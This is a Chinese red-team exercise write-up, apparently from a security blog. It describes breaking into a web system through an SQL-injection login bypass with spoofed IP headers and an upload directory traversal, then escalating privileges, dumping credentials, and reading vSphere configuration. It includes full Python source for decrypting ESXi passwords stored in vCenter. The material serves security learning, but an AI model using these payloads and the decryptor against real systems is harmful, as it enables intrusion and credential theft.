攻防演练文件上传跨目录突破技巧
1►
前言
随着演练常态化后,这比赛越来越难打了,身为一个0day匮乏的安服仔生存压力好大。这次小领导给压力了难打兄弟也要冲一把,用简单朴素得口令继续日站。
2►
正文
fofa找到了一个可以爆破的资产,一波弱口令没进去,本想扭头跑路,随手试了一下万能密码,这站也没太大反应。
admin' or '1'='1/111
万能密码加个XFF头登录进来了,既然破站给机会了这波就要珍惜。
X-Real-IP: 127.0.0.1X-Forwarded-For (XFF): 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Client-IP: 127.0.0.1
找到一处文件上传点,上传文件提示路径缺失。
这里下一步思路基本上就是跨目录了。
目录穿越文件上传边界突破、(身为一个安服仔,到这里其实可以和领导交差了。漏扫得工资干这个确实伤身体)
推荐一个好用的哥斯拉土豆提权插件
https://github.com/zcgonvh/EfsPotato
直接system权限
用抓mimi抓密码,找到口令,复用了几台机器权限发现全都在虚拟化环境上。
去poc扫描一波,找到vSphere。
踩了一些POC只发现一个任意文件读取漏洞,直接读取默认配置文件获取到mssql账密。
由于mssql执行命令低权限并且有杀软,命令执行拿vc控制权有些费劲
于是尝试使用VC数据库解密工具,对其数据库账密进行解密登录esxi。
https://github.com/shmilylty/vhost_password_decrypt
vhost_password_decrypt 这工具多多少少有些bug,浪费了很多时间改工具,改好得源码给大家放下面了。
import base64import sys from Crypto.Cipher import AES usage='''usage: python3 decrypt.py symkey.dat password.enc''' def pkcs7unpadding(text): length = len(text) padding_length = ord(text[-1]) return text[0:length-padding_length] def decrypt(key, enc_passwords): passwords = [] key_bytes = bytes.fromhex(key) for enc_password in enc_passwords: content = base64.b64decode(enc_password) iv_bytes = content[:16] enc_password_bytes = content[16:] cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) password_bytes = cipher.decrypt(enc_password_bytes) password = str(password_bytes, encoding='utf-8') password = pkcs7unpadding(password) line = f'{password}' print(line) # show the password as you save it to a file passwords.append(line) return passwords def save_decrypt_password(path, passwords): data = '\n'.join(passwords) with open(path, 'w') as file: file.write(data) def get_encrypt_password(path): enc_passwords = [] with open(path, 'r') as file: for line in file: line = line.strip().strip('*') enc_passwords.append(line) return enc_passwords def get_key(path): with open(path, 'r') as file: key = file.read().strip() return key def main(): if len(sys.argv) != 3: print(usage) exit(1) key = get_key(sys.argv[1]) encrypt_passwords = get_encrypt_password(sys.argv[2]) save_path = "result.txt" passwords = decrypt(key, encrypt_passwords) save_decrypt_password(save_path, passwords) if __name__ == '__main__': main()
解密后登录4台ESXI
解密后得dmo东西:
文章来源:李白你好
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END